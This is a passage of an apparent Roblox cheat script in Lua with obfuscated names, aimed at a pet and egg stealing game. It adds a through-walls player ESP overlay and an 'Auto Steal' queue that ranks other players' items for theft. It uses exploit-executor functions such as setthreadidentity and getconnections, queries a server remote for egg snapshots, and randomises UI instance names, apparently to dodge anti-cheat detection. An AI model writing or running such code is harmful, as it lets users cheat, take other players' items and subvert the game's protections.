uiGradient2.Name = fn5()
uiGradient2.Color = v29
uiGradient2.Rotation = 90
uiGradient2.Parent = v35
local v36 = fn37(frame, 1)
v36.ImageColor3 = Color3.fromRGB(0, 0, 0)
v36.ImageTransparency = 0.35
local tbl33 = {
Player = arg,
Highlight = highlight,
Billboard = billboardGui,
Avatar = v33,
Shadow = v34,
Name = v35,
ToolShadow = v36,
ToolIcon = fn37(frame, 2),
}
fn38(tbl33)
return tbl33
end
local function fn40(arg)
if arg.NameHumanoid and arg.NameHumanoid.Parent and arg.NameDistance ~= nil then
pcall(function()
arg.NameHumanoid.NameDisplayDistance = arg.NameDistance
end)
end
arg.NameHumanoid = nil
arg.NameDistance = nil
end
local function fn41(arg, arg2)
local humanoid = arg2 and arg2:FindFirstChildOfClass("Humanoid")
if not humanoid then
return
end
if arg.NameHumanoid ~= humanoid then
fn40(arg)
arg.NameHumanoid = humanoid
arg.NameDistance = humanoid.NameDisplayDistance
end
pcall(function()
humanoid.NameDisplayDistance = 0
end)
end
local function fn42(arg)
tbl23.DisconnectAll(arg.CharacterConnections)
if arg.Tag then
pcall(function()
arg.Tag.Highlight:Destroy()
end)
pcall(function()
arg.Tag.Billboard:Destroy()
end)
arg.Tag = nil
end
fn40(arg)
arg.Character = nil
end
local function fn43(arg)
if not arg.Tag or not arg.Character then
return
end
local v32 = fn32(arg.Character:FindFirstChildOfClass("Tool"))
arg.Tag.ToolIcon.Image = v32
arg.Tag.ToolShadow.Image = v32
fn38(arg.Tag)
end
local function fn44(arg, arg2, arg3)
local result = tbl30[arg2.UserId]
if result == nil then
local ok
ok, result = pcall(function()
return Players:GetUserThumbnailAsync(
arg2.UserId,
Enum.ThumbnailType.HeadShot,
Enum.ThumbnailSize.Size100x100
)
end)
if not ok then
result = ok
end
result = result or ""
tbl30[arg2.UserId] = result
end
local flag9 = flag6
if flag6 then
flag9 = arg.Version == arg3
end
flag9 = flag9 and arg.Tag
if flag9 then
arg.Tag.Avatar.Image = result
end
end
local function fn45(arg, arg2, arg3)
fn42(arg)
arg.Version = arg.Version + 1
local version = arg.Version
if not flag6 or not arg3 then
return
end
arg.Character = arg3
task.spawn(function()
local head = arg3:FindFirstChild("Head") or arg3:WaitForChild("Head", 5)
if
not flag6
or arg.Version ~= version
or not head
or not head:IsA("BasePart")
or not arg3:IsDescendantOf(workspace)
then
return
end
if not v30 or not v30.Parent then
v30 = tbl23.CreateRuntime()
end
local humanoidRootPart = arg3:FindFirstChild("HumanoidRootPart")
local v32 = arg
local v33 = fn39
local isBasePart = humanoidRootPart and humanoidRootPart:IsA("BasePart")
if not isBasePart then
humanoidRootPart = isBasePart
end
local v34 = humanoidRootPart or nil
v32.Tag = v33(arg2, arg3, head, v34)
fn41(arg, arg3)
local function fn45()
task.defer(function()
local flag9 = flag6
if flag6 then
flag9 = arg.Version == version
end
if flag9 then
fn43(arg)
end
end)
end
table.insert(
arg.CharacterConnections,
arg3.ChildAdded:Connect(function(arg4)
if arg4:IsA("Tool") then
fn45()
elseif arg4:IsA("Humanoid") then
fn41(arg, arg3)
end
end)
)
table.insert(
arg.CharacterConnections,
arg3.ChildRemoved:Connect(function(arg4)
if arg4:IsA("Tool") then
fn45()
end
end)
)
table.insert(
arg.CharacterConnections,
arg3.AncestryChanged:Connect(function()
if arg.Version == version and not arg3:IsDescendantOf(workspace) then
arg.Version = arg.Version + 1
fn42(arg)
end
end)
)
fn43(arg)
fn44(arg, arg2, version)
end)
end
local function fn46(arg)
local v32 = tbl28[arg]
if not v32 then
return
end
v32.Version = v32.Version + 1
fn42(v32)
tbl23.DisconnectAll(v32.PlayerConnections)
tbl28[arg] = nil
end
local function fn47(arg)
if arg == localPlayer or tbl28[arg] then
return
end
local tbl33 = {
Version = 0,
Character = nil,
Tag = nil,
NameHumanoid = nil,
NameDistance = nil,
CharacterConnections = {},
PlayerConnections = {},
}
tbl28[arg] = tbl33
table.insert(
tbl33.PlayerConnections,
arg.CharacterAdded:Connect(function(arg2)
fn45(tbl33, arg, arg2)
end)
)
table.insert(
tbl33.PlayerConnections,
arg.CharacterRemoving:Connect(function(arg2)
if tbl33.Character == arg2 then
tbl33.Version = tbl33.Version + 1
fn42(tbl33)
end
end)
)
fn45(tbl33, arg, arg.Character)
end
local function fn48()
for _, v32 in pairs(tbl28) do
if v32.Tag then
fn38(v32.Tag)
end
end
end
local function fn49()
flag6 = false
n19 = n19 + 1
tbl23.DisconnectAll(tbl29)
local tbl33 = {}
for k in pairs(tbl28) do
table.insert(tbl33, k)
end
for _, v32 in ipairs(tbl33) do
fn46(v32)
end
if v30 then
v30:Destroy()
v30 = nil
end
end
local function fn50()
if flag6 then
return
end
flag6 = true
n19 = n19 + 1
local v32 = n19
v30 = tbl23.CreateRuntime()
for _, player in ipairs(Players:GetPlayers()) do
fn47(player)
end
table.insert(tbl29, Players.PlayerAdded:Connect(fn47))
table.insert(tbl29, Players.PlayerRemoving:Connect(fn46))
local currentCamera = workspace.CurrentCamera
if currentCamera then
table.insert(
tbl29,
currentCamera:GetPropertyChangedSignal("ViewportSize"):Connect(fn48)
)
end
task.spawn(function()
while true do
local flag9 = flag6
if flag6 then
flag9 = v32 == n19
end
if flag9 then
task.wait(1)
if not (not flag6 or v32 ~= n19) then
for k, v33 in pairs(tbl28) do
local character = k.Character
local adornee = v33.Tag
and v33.Tag.Billboard.Parent
and v33.Tag.Billboard.Adornee
and v33.Tag.Billboard.Adornee:IsDescendantOf(workspace)
if
character
and character:IsDescendantOf(workspace)
and (v33.Character ~= character or not adornee)
then
fn45(v33, k, character)
end
end
continue
end
end
break
end
end)
end
local function fn51()
if flag8 then
return
end
if tbl23.ReadToggle(v31, flag7) then
fn50()
elseif flag6 then
fn49()
end
end
fn6(function()
flag8 = true
fn49()
end)
v31 = espSection:CreateToggle({
Name = "ESP Players",
Default = false,
Callback = function(arg)
flag7 = arg == true
tbl23.SyncSoon(fn51)
end,
})
fn7(espSection:CreateMultiDropdown({
Name = "ESP Player Info",
Options = { "Name", "Username", "Avatar", "Tool" },
Default = { "Name", "Tool" },
SubOf = v31,
Callback = function(arg)
local tbl33 = { Name = false, Username = false, Avatar = false, Tool = false }
if type(arg) == "table" then
for k, v32 in pairs(arg) do
if type(v32) == "string" and tbl33[v32] ~= nil then
tbl33[v32] = true
elseif type(k) == "string" and v32 == true and tbl33[k] ~= nil then
tbl33[k] = true
end
end
end
tbl32 = tbl33
fn48()
end,
}))
espSection:CreateSlider({
Name = "ESP Player Size",
Min = 50,
Max = 200,
Default = 75,
Increment = 5,
Unit = "%",
SubOf = v31,
Callback = function(arg)
local num = tonumber(arg)
if num and n20 ~= num / 100 then
n20 = math.clamp(num / 100, 0.5, 2)
fn48()
end
end,
})
end
local n19
n19 = 3
local n20
n20 = 0.002
local n21
n21 = 4
local tbl27
tbl27 = { "Value", "Rarity", "Distance" }
local n22
n22 = 0.3
local n23
n23 = 0.62
local n24
n24 = 0.86
local n25
n25 = 5.217391304347826
local n26
n26 = 1.392
local n27
n27 = 1.03
local tweenInfo
tweenInfo = TweenInfo.new(0.3, Enum.EasingStyle.Back, Enum.EasingDirection.Out)
local tweenInfo2
tweenInfo2 = TweenInfo.new(0.24, Enum.EasingStyle.Quad, Enum.EasingDirection.In)
local tweenInfo3
tweenInfo3 = TweenInfo.new(0.22, Enum.EasingStyle.Quad, Enum.EasingDirection.In)
local tweenInfo4
tweenInfo4 = TweenInfo.new(0.3, Enum.EasingStyle.Back, Enum.EasingDirection.Out)
local tweenInfo5
tweenInfo5 = TweenInfo.new(0.16, Enum.EasingStyle.Quad, Enum.EasingDirection.Out)
local TweenService
TweenService = game:GetService("TweenService")
local fromRGB
fromRGB = Color3.fromRGB
local fn31
fn31 = function(arg)
local tbl28 = {}
for i, v27 in ipairs(arg) do
tbl28[i] = ColorSequenceKeypoint.new(v27[1], v27[2])
end
return ColorSequence.new(tbl28)
end
local tbl28
tbl28 = {}
do
local tbl29 = {}
local tbl30 = {}
local tbl31 = { 0, fromRGB(0, 118, 255) }
local tbl32 = { 1, fromRGB(72, 204, 255) }
tbl30[1] = tbl31
tbl30[2] = tbl32
tbl29.Color = fn31(tbl30)
tbl29.Rotation = -90
tbl29.Stroke = fromRGB(0, 28, 76)
tbl29.Light = fromRGB(172, 226, 255)
tbl28.Hud = tbl29
end
do
local tbl29 = {}
local tbl30 = {}
local tbl31 = { 0, fromRGB(60, 255, 0) }
local tbl32 = { 1, fromRGB(136, 255, 0) }
tbl30[1] = tbl31
tbl30[2] = tbl32
tbl29.Color = fn31(tbl30)
tbl29.Rotation = -90
tbl29.Stroke = fromRGB(11, 72, 0)
tbl29.Light = fromRGB(190, 255, 180)
tbl28.Steal = tbl29
end
do
local tbl29 = {}
local tbl30 = {}
local tbl31 = { 0, fromRGB(118, 118, 132) }
local tbl32 = { 1, fromRGB(172, 172, 186) }
tbl30[1] = tbl31
tbl30[2] = tbl32
tbl29.Color = fn31(tbl30)
tbl29.Rotation = -90
tbl29.Stroke = fromRGB(28, 28, 34)
tbl29.Light = fromRGB(214, 214, 226)
tbl28.Queued = tbl29
end
do
local tbl29 = {}
local tbl30 = {}
local tbl31 = { 0, fromRGB(255, 247, 0) }
local tbl32 = { 1, fromRGB(255, 136, 0) }
tbl30[1] = tbl31
tbl30[2] = tbl32
tbl29.Color = fn31(tbl30)
tbl29.Rotation = 90
tbl29.Stroke = fromRGB(0, 0, 0)
tbl29.Light = fromRGB(132, 112, 0)
tbl28.PriorityOn = tbl29
end
do
local tbl29 = {}
local tbl30 = {}
local tbl31 = { 0, fromRGB(214, 17, 17) }
local tbl32 = { 1, fromRGB(253, 20, 20) }
tbl30[1] = tbl31
tbl30[2] = tbl32
tbl29.Color = fn31(tbl30)
tbl29.Rotation = -90
tbl29.Stroke = fromRGB(72, 0, 0)
tbl29.Light = fromRGB(255, 103, 103)
tbl28.Cancel = tbl29
end
do
local tbl29 = {}
local tbl30 = {}
local tbl31 = { 0, fromRGB(132, 74, 255) }
local tbl32 = { 0.34, fromRGB(178, 74, 255) }
local tbl33 = { 0.6, fromRGB(255, 104, 206) }
local tbl34 = { 0.78, fromRGB(255, 168, 232) }
local tbl35 = { 1, fromRGB(146, 66, 255) }
tbl30[1] = tbl31
tbl30[2] = tbl32
tbl30[3] = tbl33
tbl30[4] = tbl34
tbl30[5] = tbl35
tbl29.Color = fn31(tbl30)
tbl29.Rotation = -115
tbl29.Stroke = fromRGB(44, 10, 80)
tbl29.Light = fromRGB(226, 178, 255)
tbl28.Chilli = tbl29
end
do
local fn32
do
local tbl29 = {}
local tbl30 = { 0, fromRGB(255, 255, 255) }
local tbl31 = { 0.2, fromRGB(206, 212, 224) }
local tbl32 = { 0.42, fromRGB(74, 80, 94) }
local tbl33 = { 0.58, fromRGB(42, 46, 56) }
local tbl34 = { 0.78, fromRGB(158, 166, 182) }
local tbl35 = { 1, fromRGB(250, 252, 255) }
tbl29[1] = tbl30
tbl29[2] = tbl31
tbl29[3] = tbl32
tbl29[4] = tbl33
tbl29[5] = tbl34
tbl29[6] = tbl35
local v27 = fn31(tbl29)
local tbl36 = {}
local v28 = nil
fn32 = function(arg)
local v29 = tbl36[arg]
if v29 then
return v29
end
local directory = tbl.Assets and tbl.Assets.Directory
local flag6 = type(directory) == "table" and directory[arg] or nil
local rarity = type(flag6) == "table" and type(flag6.Rarity) == "table" and flag6.Rarity
or nil
local rarityGradient = rarity and rarity.RarityGradient or nil
if rarity and typeof(rarityGradient) ~= "Instance" then
if v28 == nil then
local assets = ReplicatedStorage:FindFirstChild("Assets")
assets = assets and assets:FindFirstChild("UI")
assets = assets and assets:FindFirstChild("RarityGradients")
assets = assets or false
v28 = assets
end
rarityGradient = v28
if v28 then
local v30 = v28
local findFirstChild = v30.FindFirstChild
local v31 = tostring
local id = rarity._id or rarity.DisplayName or ""
rarityGradient = findFirstChild(v30, v31(id))
end
rarityGradient = rarityGradient and rarityGradient:FindFirstChild("RarityGradient")
rarityGradient = rarityGradient or nil
end
local str5
if rarity then
local v30 = tostring
local displayName = rarity.DisplayName or rarity._id or ""
str5 = v30(displayName)
else
str5 = rarity
end
str5 = str5 or ""
local color = rarity and typeof(rarity.Color) == "Color3" and rarity.Color
or fromRGB(255, 255, 255)
local color2 = fn31({ { 0, color }, { 1, color } })
local n28
if string.upper(str5) == "SECRET" then
n28 = 90
color2 = v27
else
local isUIGradient = typeof(rarityGradient) == "Instance"
and rarityGradient:IsA("UIGradient")
n28 = 90
if isUIGradient then
color2 = rarityGradient.Color
n28 = rarityGradient.Rotation
end
end
local icon = type(flag6) == "table" and flag6.Icon or nil
if tonumber(icon) then
icon = "rbxassetid://" .. tostring(icon)
end
local tbl37 = {}
local flag7 = type(flag6) == "table"
if flag7 then
local v30 = tostring
local displayName = flag6.DisplayName or arg
flag7 = v30(displayName)
end
flag7 = flag7 or tostring(arg)
tbl37.Name = flag7
tbl37.Icon = icon and tostring(icon) or ""
if rarity then
local v30 = tonumber
local rarityNumber = rarity.RarityNumber or rarity.Rank
rarity = v30(rarityNumber)
end
rarity = rarity or 0
tbl37.RarityNumber = rarity
tbl37.GradientColor = color2
tbl37.GradientRotation = n28
tbl37.EarningRate = type(flag6) == "table" and tonumber(flag6.EarningRate) or 0
tbl36[arg] = tbl37
return tbl37
end
end
local fn33, flag6, n28, flag7, v27, v28, v29, imageLabel, v30, v31
local position, title, v32, flag8, v33
do
local function fn34(arg, arg2)
local n29 = tonumber(arg.AssetScale) or 1
local n30 = n29 > 5 and (n29 / 5) ^ 1.2 * 19.637875755794113 or n29 ^ 1.85
local mutations = type(arg.Mutations) == "table" and arg.Mutations or {}
if
#mutations == 0
and type(arg.BaseMutation) == "string"
and arg.BaseMutation ~= ""
then
mutations = { arg.BaseMutation }
end
local mutations2 = tbl.Mutations
local flag9 = type(mutations2) == "table" and type(mutations2.EarningsFor) == "function"
local n31 = 1
if flag9 then
local ok, result = pcall(mutations2.EarningsFor, mutations)
ok = ok and type(result) == "number"
n31 = 1
if ok then
n31 = result
end
end
return arg2.EarningRate * n30 * n31
end
local tbl29 = { "", "K", "M", "B", "T", "Qa", "Qi", "Sx" }
local function fn35(arg)
local n29 = tonumber(arg) or 0
local n30 = 1
while n29 >= 1000 and n30 < #tbl29 do
n29 = n29 / 1000
n30 = n30 + 1
end
local str5 = n30 == 1 and tostring(math.floor(n29))
or string.format("%.1f", math.floor(n29 * 10) / 10)
local str6 = tbl29[n30] .. "/s"
return "$" .. string.gsub(str5, "%.0$", "") .. str6
end
fn33 = function(arg, arg2)
if arg and arg.Text ~= arg2 then
arg.Text = arg2
end
end
flag6 = false
n28 = 0
flag7 = false
v27 = nil
v28 = nil
v29 = nil
imageLabel = nil
v30 = nil
v31 = nil
position = nil
title = nil
v32 = nil
local v34 = nil
local v35 = nil
flag8 = false
v33 = v2:CreateState({ Name = "Steal Panel Open", Default = true })
local flag9 = false
local tween = nil
local v36 = nil
local n29 = 0
local tbl30 = nil
local tbl31 = nil
local n30 = 1
local tbl32 = {}
local tbl33 = {}
local n31 = 1
local tbl34 = {}
local obj = setmetatable({}, { __mode = "k" })
local uiStroke = nil
local v37 = nil
local flag10 = false
local flag11 = false
local flag12 = false
local fn36 = nil
local function fn37()
local playerGui = localPlayer:FindFirstChildOfClass("PlayerGui")
local hud = playerGui and playerGui:FindFirstChild("HUD")
local gameHUD = hud and hud:FindFirstChild("GameHUD")
local rightButtons = gameHUD and gameHUD:FindFirstChild("RightButtons")
local activePets = playerGui and playerGui:FindFirstChild("ActivePets")
local tbl35 = { Hud = hud, GameHud = gameHUD, Column = rightButtons }
tbl35.Eggs = rightButtons and rightButtons:FindFirstChild("EggsButton")
tbl35.Pets = rightButtons and rightButtons:FindFirstChild("PetsButton")
tbl35.ActivePets = activePets
playerGui = playerGui and playerGui:FindFirstChild("GrowingEggs")
tbl35.GrowingEggs = playerGui
if not hud then
gameHUD = hud
end
if
not (
gameHUD
and rightButtons
and tbl35.Eggs
and tbl35.Pets
and activePets
and activePets:FindFirstChild("Frame")
)
then
return nil
end
return tbl35
end
local function fn38(arg)
local ok, result = pcall(function()
return arg:Clone()
end)
local v38 = result
if not ok or typeof(v38) ~= "Instance" then
return nil
end
for _, descendant in ipairs(v38:GetDescendants()) do
if descendant:IsA("LuaSourceContainer") then
descendant:Destroy()
end
end
return v38
end
local function fn39(arg)
arg.Name = fn5()
for _, descendant in ipairs(arg:GetDescendants()) do
descendant.Name = fn5()
end
end
local n32 = 2.3120369911193848
local n33 = 556
local n34 = 86.24
local tbl35 = { Panel = n32, Hud = n32 }
local function fn40(arg)
if arg then
local x = v31
if v31 then
x = v31.AbsoluteSize.X
end
local n35 = x or 0
local n36 = n35 > 0 and n32 * n35 / n33 or nil
return n36
end
local button = v29
if v29 then
button = v29.Button
end
button = button and button.Size.X.Offset
button = button or 0
local n35 = button > 0 and n32 * button / n34 or nil
return n35
end
local function fn41(arg, arg2)
local v38 = fn40(arg2.Panel)
if v38 and arg.Parent then
arg.Thickness = arg2.Ratio * v38
end
end
local function fn42(arg, arg2)
local panel = arg2 and tbl35.Panel or tbl35.Hud
if not panel or panel <= 0 then
panel = 2.3120369911193848
end
for _, descendant in ipairs(arg:GetDescendants()) do
if descendant:IsA("UIStroke") then
local ok, result = pcall(function()
return descendant.StrokeSizingMode
end)
if not ok or result ~= Enum.StrokeSizingMode.ScaledSize then
local tbl36 = { Ratio = descendant.Thickness / panel, Panel = arg2 == true }
obj[descendant] = tbl36
fn41(descendant, tbl36)
end
end
end
end
local function fn43()
for k, v38 in pairs(obj) do
fn41(k, v38)
end
end
local function fn44()
fn43()
end
local function fn45(arg)
if not arg then
return nil
end
local tbl36 = {
Button = arg,
Gradient = arg:FindFirstChildOfClass("UIGradient"),
Stroke = arg:FindFirstChild("UIStroke"),
Light = arg:FindFirstChild("UIStrokeClr"),
}
tbl36.Label = arg:FindFirstChild("Label") or arg:FindFirstChild("TextLabel")
tbl36.Scale = arg:FindFirstChild("BtnScale")
return tbl36
end
local function fn46(arg, arg2)
if not arg or arg.Style == arg2 then
return
end
arg.Style = arg2
if arg.Gradient then
arg.Gradient.Color = arg2.Color
arg.Gradient.Rotation = arg2.Rotation
end
if arg.Stroke then
arg.Stroke.Color = arg2.Stroke
end
if arg.Light then
arg.Light.Color = arg2.Light
end
end
local function fn47(arg)
if not arg then
return
end
local scale = arg.Scale
if not scale then
scale = Instance.new("UIScale")
scale.Parent = arg.Button
arg.Scale = scale
end
local function fn47(arg2)
local create = TweenService.Create
local tbl36 = { Scale = arg2 }
create(TweenService, scale, tweenInfo5, tbl36):Play()
end
arg.Button.MouseEnter:Connect(function()
fn47(1.08)
end)
arg.Button.MouseLeave:Connect(function()
fn47(1)
end)
arg.Button.MouseButton1Down:Connect(function()
fn47(0.94)
end)
arg.Button.MouseButton1Up:Connect(function()
fn47(1.08)
end)
end
local tweenInfo6 =
TweenInfo.new(2.4, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut, -1, true)
local tweenInfo7 =
TweenInfo.new(6, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut, -1, true)
local tweenInfo8 =
TweenInfo.new(1.6, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut, -1, true)
local tbl36 = {}
local function fn48(arg)
for _, v38 in ipairs(tbl36) do
pcall(function()
v38:Cancel()
end)
end
table.clear(tbl36)
if not arg then
return
end
local function fn48(arg2)
local n35 = #tbl36 + 1
tbl36[n35] = arg2
arg2:Play()
end
local gradient = arg.Gradient
if gradient then
gradient.Rotation = -115
gradient.Offset = Vector2.new(-0.30000001192092896, 0)
fn48(
TweenService:Create(
gradient,
tweenInfo6,
{ Offset = Vector2.new(0.30000001192092896, 0) }
)
)
fn48(TweenService:Create(gradient, tweenInfo7, { Rotation = -65 }))
end
local light = arg.Light
if light then
light.Color = fromRGB(226, 178, 255)
fn48(TweenService:Create(light, tweenInfo8, { Color = fromRGB(255, 245, 255) }))
end
end
local v38 = setthreadidentity or set_thread_identity
local function fn49()
local eggState = tbl.EggState
if type(eggState) == "table" and type(eggState.ReadFieldEggs) == "function" then
local records = nil
task.spawn(function()
local ok, result = pcall(eggState.ReadFieldEggs)
ok = ok and type(result) == "table"
ok = ok and type(result.Records) == "table"
ok = ok and next(result.Records) ~= nil
if ok then
records = result.Records
end
end)
if type(v38) == "function" then
pcall(v38, 8)
end
if records then
return records
end
end
local rfEggWorldAskFieldEggSnapshot =
networking:FindFirstChild("RF/EggWorld/AskFieldEggSnapshot")
if
not rfEggWorldAskFieldEggSnapshot
or not rfEggWorldAskFieldEggSnapshot:IsA("RemoteFunction")
then
return nil
end
local flag13 = false
local records = nil
task.spawn(function()
local ok, result =
pcall(rfEggWorldAskFieldEggSnapshot.InvokeServer, rfEggWorldAskFieldEggSnapshot)
ok = ok and type(result) == "table"
if ok and type(result.Records) == "table" then
records = result.Records
end
flag13 = true
end)
local now = os.clock()
while not flag13 and os.clock() - now < n21 do
RunService.Heartbeat:Wait()
end
return records
end
local function fn50()
local enabled = v27 ~= nil
and (v27.ActivePets and v27.ActivePets.Enabled or v27.GrowingEggs and v27.GrowingEggs.Enabled)
or false
return enabled
end
local function fn51()
local flag13 = false
for _, v39 in ipairs({ v27.ActivePets, v27.GrowingEggs }) do
if v39 and v39.Enabled then
local frame = v39:FindFirstChild("Frame")
frame = frame and frame:FindFirstChild("Close")
local flag14 = frame and typeof(getconnections) == "function"
local flag15 = false
if flag14 then
local ok, result = pcall(getconnections, frame.Activated)
local v40 = result
ok = ok and type(v40) == "table"
flag15 = false
if ok then
flag15 = false
for _, v41 in ipairs(v40) do
if
pcall(function()
v41:Fire()
end)
then
flag15 = true
end
end
end
end
if not flag15 then
v39.Enabled = false
end
flag13 = true
end
end
return flag13
end
local function fn52(arg, arg2)
local column = v27
if v27 then
column = v27.Column
end
if not column or not column.Parent then
return
end
if v36 then
v36:Cancel()
v36 = nil
end
local position2 = column.Position
local new = UDim2.new
local scale = position2.X.Scale
local n35 = arg and math.ceil(column.AbsoluteSize.X * n27) or 0
local v39 = new(scale, n35, position2.Y.Scale, position2.Y.Offset)
if arg2 then
column.Position = v39
return
end
local v40 = TweenService
local create = v40.Create
arg = arg and tweenInfo3
arg = arg or tweenInfo4
v36 = create(v40, column, arg, { Position = v39 })
v36:Play()
end
local n35 = 0.106
local udim2 = UDim2.new(0.955, 0, 0.6, 0)
local udim22 = UDim2.new(0.955 - n35, 0, 0.6, 0)
local udim23 = UDim2.new(0.2, 0, 0.56, 0)
local n36 = 0.955 - n35
local function fn53(arg, arg2)
if arg and arg.Button.Visible ~= arg2 then
arg.Button.Visible = arg2
end
end
local function fn54(arg, arg2, arg3, arg4)
local flag13 = arg2 ~= nil
arg.Rank = arg2
fn53(arg.Steal, not flag13)
fn53(arg.Up, flag13)
fn53(arg.Down, flag13)
fn53(arg.Cancel, flag13)
if flag13 then
local v39 = fn46
local up = arg.Up
local hud = arg2 > 1 and tbl28.Hud or tbl28.Queued
v39(up, hud)
local v40 = fn46
local down = arg.Down
arg4 = arg4 or arg2
local hud2 = arg2 < arg4 and tbl28.Hud or tbl28.Queued
v40(down, hud2)
end
local v39 = fn46
local star = arg.Star
local priorityOn = arg2 == 1 and tbl28.PriorityOn or tbl28.Queued
v39(star, priorityOn)
if arg.Badge then
if arg.Badge.Visible ~= flag13 then
arg.Badge.Visible = flag13
end
if flag13 then
fn33(arg.Badge, "#" .. arg2)
arg3 = arg3 and tbl28.Steal
local priorityOn2 = arg3 or tbl28.PriorityOn
if arg.BadgeStyle ~= priorityOn2 and arg.BadgeGradient then
arg.BadgeStyle = priorityOn2
arg.BadgeGradient.Color = priorityOn2.Color
arg.BadgeGradient.Rotation = 90
end
end
end
end
local function fn55()
if not tbl30 then
return
end
local str5 = tbl4.Toggle(v13, false)
if tbl30.On ~= str5 then
tbl30.On = str5
local v39 = fn46
local toggle = tbl30.Toggle
local steal = str5 and tbl28.Steal or tbl28.Cancel
v39(toggle, steal)
local v40 = fn33
local label = tbl30.Toggle.Label
str5 = str5 and "Auto Steal: ON"
str5 = str5 or "Auto Steal: OFF"
v40(label, str5)
end
local dragValue = tbl30.Dragging and tbl30.DragValue
if not dragValue then
local clamp = math.clamp
local floor = math.floor
local n37 = tonumber(n4) or 400
dragValue = clamp(floor(n37 + 0.5), 100, 1000)
end
if tbl30.Speed ~= dragValue then
tbl30.Speed = dragValue
tbl30.Fill.Size = UDim2.new((dragValue - 100) / 900, 0, 1, 0)
fn33(tbl30.Text, "Tween Speed: " .. dragValue)
end
end
local n37 = 4
local tbl37 = {}
local tbl38 = {}
local function fn56()
if not v34 then
return
end
fn55()
local tbl39 = {}
for _, v39 in pairs(tbl33) do
table.insert(tbl39, v39)
end
local tbl40 = {}
local v39 = nil
if type(tbl4.StealPlan) == "function" then
task.spawn(function()
local ok, result, result2 = pcall(tbl4.StealPlan)
ok = ok and type(result) == "table"
if ok then
tbl40 = result
v39 = result2
end
end)
end
local tbl41 = {}
for i, v40 in ipairs(tbl40) do
if tbl41[v40] == nil then
tbl41[v40] = i
end
end
local v40 = tbl27[n31]
local v41 = tbl4.Root()
local function fn56(arg)
if not v41 or not arg.Position then
return math.huge
end
return (v41.Position - arg.Position).Magnitude
end
table.sort(tbl39, function(arg, arg2)
local v42 = tbl41[arg.Uid]
local v43 = tbl41[arg2.Uid]
if v42 ~= nil ~= v43 ~= nil then
return v42 ~= nil
end
if v42 and v43 then
return v42 < v43
end
if v40 == "Rarity" and arg.Style.RarityNumber ~= arg2.Style.RarityNumber then
return arg.Style.RarityNumber > arg2.Style.RarityNumber
end
if v40 == "Distance" then
local v44 = fn56(arg)
local v45 = fn56(arg2)
if v44 ~= v45 then
return v44 < v45
end
end
if arg.Value ~= arg2.Value then
return arg.Value > arg2.Value
end
return arg.Uid < arg2.Uid
end)
local now = os.clock()
local tbl42 = {}
local tbl43 = {}
for _, v42 in ipairs(tbl39) do
local flag13 = tbl37[v42.Uid]
flag13 = flag13 and flag13 > now
flag13 = flag13 and tbl38[v42.Uid]
if flag13 then
table.insert(tbl43, v42)
else
tbl37[v42.Uid] = nil
table.insert(tbl42, v42)
end
end
table.sort(tbl43, function(arg, arg2)
return tbl38[arg.Uid] < tbl38[arg2.Uid]
end)
for _, v42 in ipairs(tbl43) do
table.insert(tbl42, math.clamp(tbl38[v42.Uid], 1, #tbl42 + 1), v42)
end
table.clear(tbl38)
for i, v42 in ipairs(tbl42) do
tbl38[v42.Uid] = i
local v43 = tbl32[v42.Uid]
if v43 then
if v43.Frame.LayoutOrder ~= i then
v43.Frame.LayoutOrder = i
end
fn54(v43, tbl41[v42.Uid], v42.Uid == v39, #tbl40)
end
end
end
local function fn57()
if not v34 then
return
end
local n38 = math.max(1, math.floor(v34.AbsoluteSize.X / n25 + 0.5))
if n38 == n29 then
return
end
n29 = n38
for _, v39 in pairs(tbl32) do
v39.Frame.Size = UDim2.new(1, 0, 0, n38)
end
end
local function fn58(arg)
local clone = v35:Clone()
local spacer = clone:FindFirstChild("Spacer")
local textLabel = spacer:FindFirstChild("TextLabel")
local tbl39 = {
Uid = arg,
Frame = clone,
Icon = spacer:FindFirstChild("Icon"),
Label = textLabel,
ValueLabel = spacer:FindFirstChild("Value"),
}
tbl39.Gradient = textLabel and textLabel:FindFirstChildOfClass("UIGradient")
tbl39.Steal = fn45(spacer:FindFirstChild("Unequip"))
tbl39.Cancel = fn45(spacer:FindFirstChild("Cancel"))
tbl39.Star = fn45(spacer:FindFirstChild("Star"))
tbl39.Up = fn45(spacer:FindFirstChild("Up"))
tbl39.Down = fn45(spacer:FindFirstChild("Down"))
tbl39.Badge = spacer:FindFirstChild("Rank")
tbl39.BadgeGradient = tbl39.Badge and tbl39.Badge:FindFirstChildOfClass("UIGradient")
or nil
if textLabel and not tbl39.Gradient then
tbl39.Gradient = Instance.new("UIGradient")
tbl39.Gradient.Parent = textLabel
end
fn47(tbl39.Steal)
fn47(tbl39.Cancel)
fn47(tbl39.Star)
fn47(tbl39.Up)
fn47(tbl39.Down)
for _, v39 in ipairs({ { tbl39.Up, -1 }, { tbl39.Down, 1 } }) do
if v39[1] then
v39[1].Button.Activated:Connect(function()
if type(tbl4.MoveInPlan) == "function" then
tbl4.MoveInPlan(tbl39.Uid, v39[2])
end
fn56()
end)
end
end
if tbl39.Steal then
tbl39.Steal.Button.Activated:Connect(function()
if tbl39.Rank == nil and type(tbl4.StealNow) == "function" then
tbl4.StealNow(tbl39.Uid, false)
end
fn56()
end)
end
if tbl39.Cancel then
tbl39.Cancel.Button.Activated:Connect(function()
tbl37[tbl39.Uid] = os.clock() + n37
if type(tbl4.CancelSteal) == "function" then
tbl4.CancelSteal(tbl39.Uid)
end
fn56()
end)
end
if tbl39.Star then
tbl39.Star.Button.Activated:Connect(function()
if type(tbl4.PrioritizeSteal) == "function" then
tbl4.PrioritizeSteal(tbl39.Uid)
end
fn56()
end)
end
fn42(clone, true)
fn39(clone)
clone.Size = UDim2.new(1, 0, 0, math.max(n29, 1))
clone.Visible = true
clone.Parent = v34
return tbl39
end
local function fn59(arg, arg2)
local style = arg2.Style
if arg.Category ~= arg2.Category then
arg.Category = arg2.Category
if arg.Icon then
arg.Icon.Image = style.Icon
end
if arg.Gradient then
arg.Gradient.Color = style.GradientColor
arg.Gradient.Rotation = style.GradientRotation
end
end
fn33(arg.Label, style.Name)
fn33(arg.ValueLabel, fn35(arg2.Value))
end
local fn60 = nil
local function fn61(arg)
local v39 = fn49()
if v39 and arg == n28 and flag6 then
local tbl39 = {}
local now = os.clock()
local n38 = -1
local v40 = nil
for _, v41 in pairs(v39) do
local uid = type(v41) == "table" and v41.Uid or nil
local flag13 = v41.State == "Slot"
or v41.State == "Dropped"
or v41.State == "Carried"
